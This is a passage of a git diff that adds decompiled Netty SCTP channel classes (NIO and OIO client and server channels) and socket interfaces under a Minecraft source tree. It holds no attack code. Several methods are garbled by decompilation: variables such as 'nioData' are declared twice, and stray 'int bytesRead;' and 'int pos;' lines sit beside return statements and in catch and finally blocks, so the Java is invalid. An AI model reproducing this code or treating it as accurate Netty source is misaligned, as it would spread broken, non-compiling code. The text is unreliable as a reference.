+    RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+    if (allocHandle == null) {
+      this.allocHandle = (allocHandle = config().getRecvByteBufAllocator().newHandle());
+    }
+    ByteBuf buffer = allocHandle.allocate(config().getAllocator());
+    boolean free = true;
+    try {
+      ByteBuffer data = buffer.internalNioBuffer(buffer.writerIndex(), buffer.writableBytes());
+      pos = data.position();
+      
+      MessageInfo messageInfo = ch.receive(data, null, notificationHandler);
+      int i; if (messageInfo == null) { int bytesRead;
+        return 0;
+      }
+      buf.add(new SctpMessage(messageInfo, buffer.writerIndex(buffer.writerIndex() + data.position() - pos)));
+      free = false;
+      int bytesRead; return 1;
+    } catch (Throwable cause) { int pos;
+      PlatformDependent.throwException(cause);
+      int bytesRead; return -1;
+    } finally {
+      int bytesRead = buffer.readableBytes();
+      allocHandle.record(bytesRead);
+      if (free) {
+        buffer.release();
+      }
+    }
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in) throws Exception
+  {
+    SctpMessage packet = (SctpMessage)msg;
+    ByteBuf data = packet.content();
+    int dataLen = data.readableBytes();
+    if (dataLen == 0) {
+      return true;
+    }
+    
+    ByteBufAllocator alloc = alloc();
+    boolean needsCopy = data.nioBufferCount() != 1;
+    if ((!needsCopy) && 
+      (!data.isDirect()) && (alloc.isDirectBufferPooled())) {
+      needsCopy = true;
+    }
+    ByteBuffer nioData;
+    ByteBuffer nioData;
+    if (!needsCopy) {
+      nioData = data.nioBuffer();
+    } else {
+      data = alloc.directBuffer(dataLen).writeBytes(data);
+      nioData = data.nioBuffer();
+    }
+    MessageInfo mi = MessageInfo.createOutgoing(association(), null, packet.streamIdentifier());
+    mi.payloadProtocolID(packet.protocolIdentifier());
+    mi.streamNumber(packet.streamIdentifier());
+    
+    int writtenBytes = javaChannel().send(nioData, mi);
+    return writtenBytes > 0;
+  }
+  
+  protected final Object filterOutboundMessage(Object msg) throws Exception
+  {
+    if ((msg instanceof SctpMessage)) {
+      SctpMessage m = (SctpMessage)msg;
+      ByteBuf buf = m.content();
+      if ((buf.isDirect()) && (buf.nioBufferCount() == 1)) {
+        return m;
+      }
+      
+      return new SctpMessage(m.protocolIdentifier(), m.streamIdentifier(), newDirectBuffer(m, buf));
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + " (expected: " + StringUtil.simpleClassName(SctpMessage.class));
+  }
+  
+
+
+  public ChannelFuture bindAddress(InetAddress localAddress)
+  {
+    return bindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture bindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        javaChannel().bindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          bindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  public ChannelFuture unbindAddress(InetAddress localAddress)
+  {
+    return unbindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture unbindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        javaChannel().unbindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          unbindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  private final class NioSctpChannelConfig extends DefaultSctpChannelConfig {
+    private NioSctpChannelConfig(NioSctpChannel channel, com.sun.nio.sctp.SctpChannel javaChannel) {
+      super(javaChannel);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/nio/NioSctpServerChannel.java b/src/minecraft/io/netty/channel/sctp/nio/NioSctpServerChannel.java
new file mode 100644
index 0000000..3740c57
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/nio/NioSctpServerChannel.java
@@ -0,0 +1,239 @@
+package io.netty.channel.sctp.nio;
+
+import com.sun.nio.sctp.SctpChannel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.nio.NioEventLoop;
+import io.netty.channel.sctp.DefaultSctpServerChannelConfig;
+import io.netty.channel.sctp.SctpServerChannelConfig;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioSctpServerChannel
+  extends AbstractNioMessageChannel
+  implements io.netty.channel.sctp.SctpServerChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private final SctpServerChannelConfig config;
+  
+  private static com.sun.nio.sctp.SctpServerChannel newSocket() {
+    try { return com.sun.nio.sctp.SctpServerChannel.open();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a server socket.", e);
+    }
+  }
+  
+
+
+
+
+
+  public NioSctpServerChannel()
+  {
+    super(null, newSocket(), 16);
+    config = new NioSctpServerChannelConfig(this, javaChannel(), null);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public Set<InetSocketAddress> allLocalAddresses()
+  {
+    try {
+      Set<SocketAddress> allLocalAddresses = javaChannel().getAllLocalAddresses();
+      Set<InetSocketAddress> addresses = new LinkedHashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+
+  public SctpServerChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isActive()
+  {
+    return (isOpen()) && (!allLocalAddresses().isEmpty());
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  protected com.sun.nio.sctp.SctpServerChannel javaChannel()
+  {
+    return (com.sun.nio.sctp.SctpServerChannel)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    try {
+      Iterator<SocketAddress> i = javaChannel().getAllLocalAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().bind(localAddress, config.getBacklog());
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    SctpChannel ch = javaChannel().accept();
+    if (ch == null) {
+      return 0;
+    }
+    buf.add(new NioSctpChannel(this, ch));
+    return 1;
+  }
+  
+  public ChannelFuture bindAddress(InetAddress localAddress)
+  {
+    return bindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture bindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        javaChannel().bindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          bindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  public ChannelFuture unbindAddress(InetAddress localAddress)
+  {
+    return unbindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture unbindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        javaChannel().unbindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          unbindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected Object filterOutboundMessage(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  private final class NioSctpServerChannelConfig extends DefaultSctpServerChannelConfig {
+    private NioSctpServerChannelConfig(NioSctpServerChannel channel, com.sun.nio.sctp.SctpServerChannel javaChannel) {
+      super(javaChannel);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/oio/OioSctpChannel.java b/src/minecraft/io/netty/channel/sctp/oio/OioSctpChannel.java
new file mode 100644
index 0000000..4fd92d4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/oio/OioSctpChannel.java
@@ -0,0 +1,491 @@
+package io.netty.channel.sctp.oio;
+
+import com.sun.nio.sctp.Association;
+import com.sun.nio.sctp.MessageInfo;
+import com.sun.nio.sctp.NotificationHandler;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.oio.AbstractOioMessageChannel;
+import io.netty.channel.sctp.DefaultSctpChannelConfig;
+import io.netty.channel.sctp.SctpChannelConfig;
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.channel.sctp.SctpNotificationHandler;
+import io.netty.channel.sctp.SctpServerChannel;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.SelectionKey;
+import java.nio.channels.Selector;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioSctpChannel
+  extends AbstractOioMessageChannel
+  implements io.netty.channel.sctp.SctpChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OioSctpChannel.class);
+  
+
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private static final String EXPECTED_TYPE = " (expected: " + StringUtil.simpleClassName(SctpMessage.class) + ')';
+  
+  private final com.sun.nio.sctp.SctpChannel ch;
+  
+  private final SctpChannelConfig config;
+  private final Selector readSelector;
+  private final Selector writeSelector;
+  private final Selector connectSelector;
+  private final NotificationHandler<?> notificationHandler;
+  private RecvByteBufAllocator.Handle allocHandle;
+  
+  private static com.sun.nio.sctp.SctpChannel openChannel()
+  {
+    try
+    {
+      return com.sun.nio.sctp.SctpChannel.open();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a sctp channel.", e);
+    }
+  }
+  
+
+
+  public OioSctpChannel()
+  {
+    this(openChannel());
+  }
+  
+
+
+
+
+  public OioSctpChannel(com.sun.nio.sctp.SctpChannel ch)
+  {
+    this(null, ch);
+  }
+  
+
+
+
+
+
+
+  public OioSctpChannel(Channel parent, com.sun.nio.sctp.SctpChannel ch)
+  {
+    super(parent);
+    this.ch = ch;
+    boolean success = false;
+    try {
+      ch.configureBlocking(false);
+      readSelector = Selector.open();
+      writeSelector = Selector.open();
+      connectSelector = Selector.open();
+      
+      ch.register(readSelector, 1);
+      ch.register(writeSelector, 4);
+      ch.register(connectSelector, 8);
+      
+      config = new OioSctpChannelConfig(this, ch, null);
+      notificationHandler = new SctpNotificationHandler(this);
+      success = true; return;
+    } catch (Exception e) {
+      throw new ChannelException("failed to initialize a sctp channel", e);
+    } finally {
+      if (!success) {
+        try {
+          ch.close();
+        } catch (IOException e) {
+          logger.warn("Failed to close a sctp channel.", e);
+        }
+      }
+    }
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  public SctpServerChannel parent()
+  {
+    return (SctpServerChannel)super.parent();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public SctpChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return ch.isOpen();
+  }
+  
+  protected int doReadMessages(List<Object> msgs) throws Exception
+  {
+    if (!readSelector.isOpen()) {
+      return 0;
+    }
+    
+    int readMessages = 0;
+    
+    int selectedKeys = readSelector.select(1000L);
+    boolean keysSelected = selectedKeys > 0;
+    
+    if (!keysSelected) {
+      return readMessages;
+    }
+    
+    Set<SelectionKey> reableKeys = readSelector.selectedKeys();
+    try {
+      for (SelectionKey ignored : reableKeys) {
+        RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+        if (allocHandle == null) {
+          this.allocHandle = (allocHandle = config().getRecvByteBufAllocator().newHandle());
+        }
+        ByteBuf buffer = allocHandle.allocate(config().getAllocator());
+        boolean free = true;
+        try
+        {
+          ByteBuffer data = buffer.nioBuffer(buffer.writerIndex(), buffer.writableBytes());
+          MessageInfo messageInfo = ch.receive(data, null, notificationHandler);
+          if (messageInfo == null) {
+            int i = readMessages;
+            
+
+
+
+
+
+
+
+
+            int bytesRead = buffer.readableBytes();
+            allocHandle.record(bytesRead);
+            if (free) {
+              buffer.release();
+            }
+            
+
+
+            return i;
+          }
+          data.flip();
+          msgs.add(new SctpMessage(messageInfo, buffer.writerIndex(buffer.writerIndex() + data.remaining())));
+          free = false;
+          readMessages++;
+        } catch (Throwable cause) { int bytesRead;
+          PlatformDependent.throwException(cause);
+        } finally { int bytesRead;
+          int bytesRead = buffer.readableBytes();
+          allocHandle.record(bytesRead);
+          if (free) {
+            buffer.release();
+          }
+        }
+      }
+    } finally {
+      reableKeys.clear();
+    }
+    return readMessages;
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    if (!writeSelector.isOpen()) {
+      return;
+    }
+    int size = in.size();
+    int selectedKeys = writeSelector.select(1000L);
+    if (selectedKeys > 0) {
+      Set<SelectionKey> writableKeys = writeSelector.selectedKeys();
+      if (writableKeys.isEmpty()) {
+        return;
+      }
+      Iterator<SelectionKey> writableKeysIt = writableKeys.iterator();
+      int written = 0;
+      for (;;) {
+        if (written == size)
+        {
+          return;
+        }
+        writableKeysIt.next();
+        writableKeysIt.remove();
+        
+        SctpMessage packet = (SctpMessage)in.current();
+        if (packet == null) {
+          return;
+        }
+        
+        ByteBuf data = packet.content();
+        int dataLen = data.readableBytes();
+        ByteBuffer nioData;
+        ByteBuffer nioData;
+        if (data.nioBufferCount() != -1) {
+          nioData = data.nioBuffer();
+        } else {
+          nioData = ByteBuffer.allocate(dataLen);
+          data.getBytes(data.readerIndex(), nioData);
+          nioData.flip();
+        }
+        
+        MessageInfo mi = MessageInfo.createOutgoing(association(), null, packet.streamIdentifier());
+        mi.payloadProtocolID(packet.protocolIdentifier());
+        mi.streamNumber(packet.streamIdentifier());
+        
+        ch.send(nioData, mi);
+        written++;
+        in.remove();
+        
+        if (!writableKeysIt.hasNext()) {
+          return;
+        }
+      }
+    }
+  }
+  
+  protected Object filterOutboundMessage(Object msg) throws Exception
+  {
+    if ((msg instanceof SctpMessage)) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPE);
+  }
+  
+  public Association association()
+  {
+    try
+    {
+      return ch.association();
+    } catch (IOException ignored) {}
+    return null;
+  }
+  
+
+  public boolean isActive()
+  {
+    return (isOpen()) && (association() != null);
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    try {
+      Iterator<SocketAddress> i = ch.getAllLocalAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  public Set<InetSocketAddress> allLocalAddresses()
+  {
+    try {
+      Set<SocketAddress> allLocalAddresses = ch.getAllLocalAddresses();
+      Set<InetSocketAddress> addresses = new LinkedHashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    try
+    {
+      Iterator<SocketAddress> i = ch.getRemoteAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  public Set<InetSocketAddress> allRemoteAddresses()
+  {
+    try {
+      Set<SocketAddress> allLocalAddresses = ch.getRemoteAddresses();
+      Set<InetSocketAddress> addresses = new LinkedHashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+  protected void doBind(SocketAddress localAddress)
+    throws Exception
+  {
+    ch.bind(localAddress);
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    if (localAddress != null) {
+      ch.bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      ch.connect(remoteAddress);
+      boolean finishConnect = false;
+      while (!finishConnect) {
+        if (connectSelector.select(1000L) >= 0) {
+          Set<SelectionKey> selectionKeys = connectSelector.selectedKeys();
+          for (SelectionKey key : selectionKeys) {
+            if (key.isConnectable()) {
+              selectionKeys.clear();
+              finishConnect = true;
+              break;
+            }
+          }
+          selectionKeys.clear();
+        }
+      }
+      success = ch.finishConnect();
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    closeSelector("read", readSelector);
+    closeSelector("write", writeSelector);
+    closeSelector("connect", connectSelector);
+    ch.close();
+  }
+  
+  private static void closeSelector(String selectorName, Selector selector) {
+    try {
+      selector.close();
+    } catch (IOException e) {
+      logger.warn("Failed to close a " + selectorName + " selector.", e);
+    }
+  }
+  
+  public ChannelFuture bindAddress(InetAddress localAddress)
+  {
+    return bindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture bindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        ch.bindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          bindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  public ChannelFuture unbindAddress(InetAddress localAddress)
+  {
+    return unbindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture unbindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        ch.unbindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          unbindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  private final class OioSctpChannelConfig extends DefaultSctpChannelConfig {
+    private OioSctpChannelConfig(OioSctpChannel channel, com.sun.nio.sctp.SctpChannel javaChannel) {
+      super(javaChannel);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/oio/OioSctpServerChannel.java b/src/minecraft/io/netty/channel/sctp/oio/OioSctpServerChannel.java
new file mode 100644
index 0000000..cffe018
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/oio/OioSctpServerChannel.java
@@ -0,0 +1,308 @@
+package io.netty.channel.sctp.oio;
+
+import com.sun.nio.sctp.SctpChannel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.oio.AbstractOioMessageChannel;
+import io.netty.channel.sctp.DefaultSctpServerChannelConfig;
+import io.netty.channel.sctp.SctpServerChannelConfig;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.channels.SelectionKey;
+import java.nio.channels.Selector;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OioSctpServerChannel
+  extends AbstractOioMessageChannel
+  implements io.netty.channel.sctp.SctpServerChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OioSctpServerChannel.class);
+  
+
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private final com.sun.nio.sctp.SctpServerChannel sch;
+  
+  private static com.sun.nio.sctp.SctpServerChannel newServerSocket() {
+    try { return com.sun.nio.sctp.SctpServerChannel.open();
+    } catch (IOException e) {
+      throw new ChannelException("failed to create a sctp server channel", e);
+    }
+  }
+  
+
+
+  private final SctpServerChannelConfig config;
+  
+  private final Selector selector;
+  
+  public OioSctpServerChannel()
+  {
+    this(newServerSocket());
+  }
+  
+
+
+
+
+  public OioSctpServerChannel(com.sun.nio.sctp.SctpServerChannel sch)
+  {
+    super(null);
+    if (sch == null) {
+      throw new NullPointerException("sctp server channel");
+    }
+    
+    this.sch = sch;
+    boolean success = false;
+    try {
+      sch.configureBlocking(false);
+      selector = Selector.open();
+      sch.register(selector, 16);
+      config = new OioSctpServerChannelConfig(this, sch, null);
+      success = true; return;
+    } catch (Exception e) {
+      throw new ChannelException("failed to initialize a sctp server channel", e);
+    } finally {
+      if (!success) {
+        try {
+          sch.close();
+        } catch (IOException e) {
+          logger.warn("Failed to close a sctp server channel.", e);
+        }
+      }
+    }
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public SctpServerChannelConfig config()
+  {
+    return config;
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public boolean isOpen()
+  {
+    return sch.isOpen();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    try {
+      Iterator<SocketAddress> i = sch.getAllLocalAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  public Set<InetSocketAddress> allLocalAddresses()
+  {
+    try {
+      Set<SocketAddress> allLocalAddresses = sch.getAllLocalAddresses();
+      Set<InetSocketAddress> addresses = new LinkedHashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+
+  public boolean isActive()
+  {
+    return (isOpen()) && (localAddress0() != null);
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    sch.bind(localAddress, config.getBacklog());
+  }
+  
+  protected void doClose() throws Exception
+  {
+    try {
+      selector.close();
+    } catch (IOException e) {
+      logger.warn("Failed to close a selector.", e);
+    }
+    sch.close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    if (!isActive()) {
+      return -1;
+    }
+    
+    SctpChannel s = null;
+    int acceptedChannels = 0;
+    try {
+      int selectedKeys = selector.select(1000L);
+      if (selectedKeys > 0) {
+        Iterator<SelectionKey> selectionKeys = selector.selectedKeys().iterator();
+        for (;;) {
+          SelectionKey key = (SelectionKey)selectionKeys.next();
+          selectionKeys.remove();
+          if (key.isAcceptable()) {
+            s = sch.accept();
+            if (s != null) {
+              buf.add(new OioSctpChannel(this, s));
+              acceptedChannels++;
+            }
+          }
+          if (!selectionKeys.hasNext()) {
+            return acceptedChannels;
+          }
+        }
+      }
+    } catch (Throwable t) {
+      logger.warn("Failed to create a new channel from an accepted sctp channel.", t);
+      if (s != null) {
+        try {
+          s.close();
+        } catch (Throwable t2) {
+          logger.warn("Failed to close a sctp channel.", t2);
+        }
+      }
+    }
+    
+    return acceptedChannels;
+  }
+  
+  public ChannelFuture bindAddress(InetAddress localAddress)
+  {
+    return bindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture bindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        sch.bindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          bindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  public ChannelFuture unbindAddress(InetAddress localAddress)
+  {
+    return unbindAddress(localAddress, newPromise());
+  }
+  
+  public ChannelFuture unbindAddress(final InetAddress localAddress, final ChannelPromise promise)
+  {
+    if (eventLoop().inEventLoop()) {
+      try {
+        sch.unbindAddress(localAddress);
+        promise.setSuccess();
+      } catch (Throwable t) {
+        promise.setFailure(t);
+      }
+    } else {
+      eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          unbindAddress(localAddress, promise);
+        }
+      });
+    }
+    return promise;
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected Object filterOutboundMessage(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  private final class OioSctpServerChannelConfig extends DefaultSctpServerChannelConfig {
+    private OioSctpServerChannelConfig(OioSctpServerChannel channel, com.sun.nio.sctp.SctpServerChannel javaChannel) {
+      super(javaChannel);
+    }
+    
+    protected void autoReadCleared()
+    {
+      setReadPending(false);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/ChannelInputShutdownEvent.java b/src/minecraft/io/netty/channel/socket/ChannelInputShutdownEvent.java
new file mode 100644
index 0000000..5fb24c1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/ChannelInputShutdownEvent.java
@@ -0,0 +1,36 @@
+package io.netty.channel.socket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelInputShutdownEvent
+{
+  public static final ChannelInputShutdownEvent INSTANCE = new ChannelInputShutdownEvent();
+  
+  private ChannelInputShutdownEvent() {}
+}
diff --git a/src/minecraft/io/netty/channel/socket/DatagramChannel.java b/src/minecraft/io/netty/channel/socket/DatagramChannel.java
new file mode 100644
index 0000000..31ac100
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/DatagramChannel.java
@@ -0,0 +1,52 @@
+package io.netty.channel.socket;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.NetworkInterface;
+
+public abstract interface DatagramChannel
+  extends Channel
+{
+  public abstract DatagramChannelConfig config();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract InetSocketAddress remoteAddress();
+  
+  public abstract boolean isConnected();
+  
+  public abstract ChannelFuture joinGroup(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture joinGroup(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture joinGroup(InetSocketAddress paramInetSocketAddress, NetworkInterface paramNetworkInterface);
+  
+  public abstract ChannelFuture joinGroup(InetSocketAddress paramInetSocketAddress, NetworkInterface paramNetworkInterface, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture joinGroup(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2);
+  
+  public abstract ChannelFuture joinGroup(InetAddress paramInetAddress1, NetworkInterface paramNetworkInterface, InetAddress paramInetAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture leaveGroup(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture leaveGroup(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+  
